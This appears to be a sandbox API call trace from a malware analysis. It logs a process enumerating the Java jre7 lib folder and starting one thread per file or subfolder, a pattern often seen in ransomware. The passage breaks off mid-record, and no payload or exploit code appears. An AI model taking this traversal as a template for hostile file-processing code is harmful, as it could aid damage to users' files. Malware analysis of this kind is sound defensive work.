[0127.517] wcscpy (in: _Dest=0x1b864610, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib" [0127.517] wcscat (in: _Dest=0x1b864610, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0127.517] wcscat (in: _Dest=0x1b864610, _Source="charsets.jar" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\charsets.jar") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\charsets.jar" [0127.517] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b864610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x870 [0127.518] FindNextFileW (in: hFindFile=0x1cd9c130, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x12543, dwReserved0=0x0, dwReserved1=0x0, cFileName="classlist", cAlternateFileName="CLASSL~1")) returned 1 [0127.518] wcscmp (_String1="classlist", _String2=".") returned 1 [0127.518] wcscmp (_String1="classlist", _String2="..") returned 1 [0127.518] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5e) returned 0x1b8639d0 [0127.518] wcscpy (in: _Dest=0x1b8639d0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib" [0127.518] wcscat (in: _Dest=0x1b8639d0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0127.518] wcscat (in: _Dest=0x1b8639d0, _Source="classlist" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\classlist") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\classlist" [0127.518] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8639d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8a4 [0127.519] FindNextFileW (in: hFindFile=0x1cd9c130, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cmm", cAlternateFileName="")) returned 1 [0127.519] wcscmp (_String1="cmm", _String2=".") returned 1 [0127.519] wcscmp (_String1="cmm", _String2="..") returned 1 [0127.519] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9d030 [0127.519] wcscpy (in: _Dest=0x1cd9d030, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib" [0127.519] wcscat (in: _Dest=0x1cd9d030, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0127.519] wcscat (in: _Dest=0x1cd9d030, _Source="cmm" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm" [0127.519] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd9d030, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8b0 [0127.520] FindNextFileW (in: hFindFile=0x1cd9c130, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x15ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-types.properties", cAlternateFileName="CONTEN~1.PRO")) returned 1 [0127.520] wcscmp (_String1="content-types.properties", _String2=".") returned 1 [0127.520] wcscmp (_String1="content-types.properties", _String2="..") returned 1 [0127.520] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b85ba30 [0127.520] wcscpy (in: _Dest=0x1b85ba30, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib" [0127.520] wcscat (in: _Dest=0x1b85ba30, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0127.520] wcscat (in: _Dest=0x1b85ba30, _Source="content-types.properties" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\content-types.properties") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\content-types.properties" [0127.520] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85ba30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa30 [0127.521] FindNextFileW (in: hFindFile=0x1cd9c130, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1068, dwReserved0=0x0, dwReserved1=0x0, cFileName="currency.data", cAlternateFileName="CURREN~1.DAT")) returned 1 [0127.521] wcscmp (_String1="currency.data", _String2=".") returned 1 [0127.521] wcscmp (_String1="currency.data", _String2="..") returned 1 [0127.521] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1b8647d0 [0127.521] wcscpy (in: _Dest=0x1b8647d0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib" [0127.521] wcscat (in: _Dest=0x1b8647d0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0127.521] wcscat (in: _Dest=0x1b8647d0, _Source="currency.data" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\currency.data") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\currency.data" [0127.521] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8647d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8b4 [0127.522] FindNextFileW (in: hFindFile=0x1cd9c130, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="deploy", cAlternateFileName="")) returned 1 [0127.522] wcscmp (_String1="deploy", _String2=".") returned 1 [0127.522] wcscmp (_String1="deploy", _String2="..") returned 1 [0127.522] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x58) returned 0x1cd9c8b0 [0127.522] wcscpy (in: _Dest=0x1cd9c8b0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib" [0127.522] wcscat (in: _Dest=0x1cd9c8b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0127.522] wcscat (in: _Dest=0x1cd9c8b0, _Source="deploy" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy" [0127.523] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd9c8b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5a8 [0127.524] FindNextFileW (in: hFindFile=0x1cd9c130, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75246c40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x75246c40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x75305320, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x449777, dwReserved0=0x0, dwReserved1=0x0, cFileName="deploy.jar", cAlternateFileName="")) returned 1 [0127.524] wcscmp (_String1="deploy.jar", _String2=".") returned 1 [0127.524] wcscmp (_String1="deploy.jar", _String2="..") returned 1 [0127.524] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b863dc0 [0127.524] wcscpy (in: _Dest=0x1b863dc0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib" [0127.524] wcscat (in: _Dest=0x1b863dc0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0127.524] wcscat (in: _Dest=0x1b863dc0, _Source="deploy.jar" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy.jar") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy.jar" [0127.524] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b863dc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8bc [0127.525] FindNextFileW (in: hFindFile=0x1cd9c130, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7577bc60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7577bc60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ext", cAlternateFileName="")) returned 1 [0127.525] wcscmp (_String1="ext", _String2=".") returned 1 [0127.525] wcscmp (_String1="ext", _String2="..") returned 1 [0127.525] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9c790 [0127.525] wcscpy (in: _Dest=0x1cd9c790, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib" [0127.525] wcscat (in: _Dest=0x1cd9c790, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0127.525] wcscat (in: _Dest=0x1cd9c790, _Source="ext" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext" [0127.526] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd9c790, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb54 [0127.526] FindNextFileW (in: hFindFile=0x1cd9c130, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xf58, dwReserved0=0x0, dwReserved1=0x0, cFileName="flavormap.properties", cAlternateFileName="FLAVOR~1.PRO")) returned 1 [0127.526] wcscmp (_String1="flavormap.properties", _String2=".") returned 1 [0127.526] wcscmp (_String1="flavormap.properties", _String2="..") returned 1 [0127.526] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x20504c90 [0127.527] wcscpy (in: _Dest=0x20504c90, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib" [0127.527] wcscat (in: _Dest=0x20504c90, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0127.527] wcscat (in: _Dest=0x20504c90, _Source="flavormap.properties" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\flavormap.properties") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\flavormap.properties" [0127.527] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20504c90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8c0 [0127.528] FindNextFileW (in: hFindFile=0x1cd9c130, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xe56, dwReserved0=0x0, dwReserved1=0x0, cFileName="fontconfig.bfc", cAlternateFileName="FONTCO~1.BFC")) returned 1 [0127.528] wcscmp (_String1="fontconfig.bfc", _String2=".") returned 1 [0127.528] wcscmp (_String1="fontconfig.bfc", _String2="..") returned 1 [0127.528] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1b864530 [0127.528] wcscpy (in: _Dest=0x1b864530, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib" [0127.528] wcscat (in: _Dest=0x1b864530, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0127.528] wcscat (in: _Dest=0x1b864530, _Source="fontconfig.bfc" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\fontconfig.bfc") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\fontconfig.bfc" [0127.528] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b864530, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x600 [0127.529] FindNextFileW (in: hFindFile=0x1cd9c130, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x28ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="fontconfig.properties.src", cAlternateFileName="FONTCO~1.SRC")) returned 1 [0127.529] wcscmp (_String1="fontconfig.properties.src", _String2=".") returned 1 [0127.529] wcscmp (_String1="fontconfig.properties.src", _String2="..") returned 1 [0127.529] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1b85b880 [0127.529] wcscpy (in: _Dest=0x1b85b880, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib" [0127.529] wcscat (in: _Dest=0x1b85b880, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0127.529] wcscat (in: _Dest=0x1b85b880, _Source="fontconfig.properties.src" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\fontconfig.properties.src") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\fontconfig.properties.src" [0127.529] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85b880, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5fc [0127.530] FindNextFileW (in: hFindFile=0x1cd9c130, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fonts", cAlternateFileName="")) returned 1 [0127.530] wcscmp (_String1="fonts", _String2=".") returned 1 [0127.530] wcscmp (_String1="fonts", _String2="..") returned 1 [0127.530] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x56) returned 0x1cd9c910 [0127.530] wcscpy (in: _Dest=0x1cd9c910, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib" [0127.530] wcscat (in: _Dest=0x1cd9c910, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0127.530] wcscat (in: _Dest=0x1cd9c910, _Source="fonts" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts" [0127.530] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd9c910, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9d4 [0127.531] FindNextFileW (in: hFindFile=0x1cd9c130, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="i386", cAlternateFileName="")) returned 1 [0127.531] wcscmp (_String1="i386", _String2=".") returned 1 [0127.531] wcscmp (_String1="i386", _String2="..") returned 1 [0127.531] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x54) returned 0x1cd9c970 [0127.531] wcscpy (in: _Dest=0x1cd9c970, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib" [0127.531] wcscat (in: _Dest=0x1cd9c970, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0127.532] wcscat (in: _Dest=0x1cd9c970, _Source="i386" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386" [0127.532] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd9c970, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x94c [0127.532] FindNextFileW (in: hFindFile=0x1cd9c130, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0127.532] wcscmp (_String1="images", _String2=".") returned 1 [0127.533] wcscmp (_String1="images", _String2="..") returned 1 [0127.533] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x58) returned 0x1cd9cc70 [0127.533] wcscpy (in: _Dest=0x1cd9cc70, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib" [0127.533] wcscat (in: _Dest=0x1cd9cc70, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0127.533] wcscat (in: _Dest=0x1cd9cc70, _Source="images" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images" [0127.533] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd9cc70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f0 [0127.534] FindNextFileW (in: hFindFile=0x1cd9c130, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx.properties", cAlternateFileName="JAVAFX~1.PRO")) returned 1 [0127.534] wcscmp (_String1="javafx.properties", _String2=".") returned 1 [0127.534] wcscmp (_String1="javafx.properties", _String2="..") returned 1 [0127.534] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x20504b90 [0127.534] wcscpy (in: _Dest=0x20504b90, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib" [0127.534] wcscat (in: _Dest=0x20504b90, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0127.534] wcscat (in: _Dest=0x20504b90, _Source="javafx.properties" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\javafx.properties") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\javafx.properties" [0127.534] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20504b90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x954 [0127.536] FindNextFileW (in: hFindFile=0x1cd9c130, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7532b480, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7532b480, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x753515e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xd9d17, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaws.jar", cAlternateFileName="")) returned 1 [0127.536] wcscmp (_String1="javaws.jar", _String2=".") returned 1 [0127.536] wcscmp (_String1="javaws.jar", _String2="..") returned 1 [0127.536] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b863ea0 [0127.536] wcscpy (in: _Dest=0x1b863ea0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib" [0127.536] wcscat (in: _Dest=0x1b863ea0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0127.536] wcscat (in: _Dest=0x1b863ea0, _Source="javaws.jar" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\javaws.jar") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\javaws.jar" [0127.536] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b863ea0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e4 [0127.537] FindNextFileW (in: hFindFile=0x1cd9c130, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1aa8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="jce.jar", cAlternateFileName="")) returned 1 [0127.537] wcscmp (_String1="jce.jar", _String2=".") returned 1 [0127.537] wcscmp (_String1="jce.jar", _String2="..") returned 1 [0127.537] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b863b20 [0127.538] wcscpy (in: _Dest=0x1b863b20, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib" [0127.538] wcscat (in: _Dest=0x1b863b20, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0127.538] wcscat (in: _Dest=0x1b863b20, _Source="jce.jar" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\jce.jar") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\jce.jar" [0127.538] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b863b20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e0 [0127.539] FindNextFileW (in: hFindFile=0x1cd9c130, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, 